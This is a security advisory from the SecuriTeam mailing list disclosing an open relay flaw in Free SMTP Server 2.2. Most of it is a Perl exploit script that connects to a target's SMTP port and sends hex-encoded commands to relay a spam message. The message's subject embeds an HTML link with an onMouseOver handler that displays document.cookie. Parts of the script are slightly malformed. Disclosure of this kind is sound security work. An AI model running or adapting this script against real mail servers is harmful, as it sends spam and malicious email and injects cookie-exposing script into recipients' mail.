[NT] FREE SMTP Open Relay Vulnerability

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  FREE SMTP Open Relay Vulnerability
------------------------------------------------------------------------


SUMMARY

" <http://www.softstack.com/> Free SMTP Server is a SMTP server program 
for Windows that lets you send email messages directly from your 
computer."

Lack of proper relay checking allows attackers to send SPAM and/or 
malicious emails to users who uses the Free SMTP server.

DETAILS

Vulnerable Systems:
 * FREE SMTP Server  2.2

The Open relay bug allow attackers to send Spam, malicious emails, Virus 
and others by supplying wrong sender address.

Exploit:
#!usr/bin/perl
#
#    FREE SMTP Spam Filter Exploit
# ------------------------------------
#  Infam0us Gr0up - Securiti Research
#
# Info: infamous.2hell.com
# Vendor URL: http://www.softstack.com/
#

use IO::Socket;
use Socket;

print("\n   FREE SMTP Spam Filter Exploit\n");
print(" ---------------------------------\n\n");

# Changes to own feed
$helo = "mail.test"; # HELO
$mfrom = "<[email protected]>"; # MAIL FROM
$rcpto = "<root@localhost>"; # RCPT TO
$date = "11 Feb 2099 12:07:10"; # Date
$from = "Micro SEX's"; # From mailer
$subject = "Check the new version..    \n".
"<b>VICKY VETTE</b><i>is HOT Editon.Check it OUT!!. Free Nude Shop. 
Sex,video,picture,toys and XXX Chat Adults live!!!</i>".
"<br><a href=http://127.0.0.1 onMouseOver=alert(document.cookie);>Click 
Here</a>"; # subject spammmer

if($#ARGV < 0 | $#ARGV > 1) {
  die "usage: perl $0 [IP/host] \nExam: perl $0 127.0.0.1 \n"
};

$adr = $ARGV[0];
$prt = "25";

# Don't changes this one
$act1 = "\x48\x45\x4c\x4f $helo";
$act2 = "\x4d\x41\x49\x4c \x46\x52\x4f\x4d\x3a$mfrom";
$act3 = "\x52\x43\x50\x54 f\x54\x4f\x3a$rcpto";
$act4 = "\x44\x41\x54\x41";
$act5 = "\x44\x61\x74\x65\x3a $date";

$sub = "\x46\x72\x6f\x6d\x3a $from".
       "\x53\x75\x62\x6a\x65\x63\x74\x3a $subject\x2e".
       "\x51\x55\x49\x54";

print "[+] Connect to $adr..\n";
$remote = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$adr, 
PeerPort=>$prt, Reuse=>1) or die "[-] Error: can't connect to 
$adr:$prt\n";
print "[+] Connected!\n";
$remote->autoflush(1);
print "[*] Send HELO..";
print $remote "$act1" or die "\n[-] Error: can't send xploit code\n";
sleep(1);
print "[OK]\n";
print "[*] Send MAIL FROM..";
print $remote "$act2" or die "\n[-] Error: can't send xploit code\n";
sleep(1);
print "[OK]\n";
print "[*] Send RCPT TO..";
print $remote "$act3" or die "\n[-] Error: can't send xploit code\n";
sleep(1);
print "[OK]\n";
print "[*] Send DATA..";
print $remote "$act4" or die "\n[-] Error: can't send xploit code\n";
sleep(1);
print "[OK]\n";
print "[*] Send DATE..";
print $remote "$act5" or die "\n[-] Error: can't send xploit code\n";
sleep(1);
print "[OK]\n";
print "[*] Send Sub Mail..";
print $remote "$sub" or die "\n[-] Error: can't send xploit code\n";
print "[OK]\n";
print "[*] QUIT..\n";
print "[+] MAIL SPAMWNED!\n\n";
close $remote;
print "press any key to exit..\n";
$bla= <STDIN>;

#EoF


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> Eric 
Basher.



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected] 
In order to subscribe to the mailing list, simply forward this email to: [email protected] 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any kind. 
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.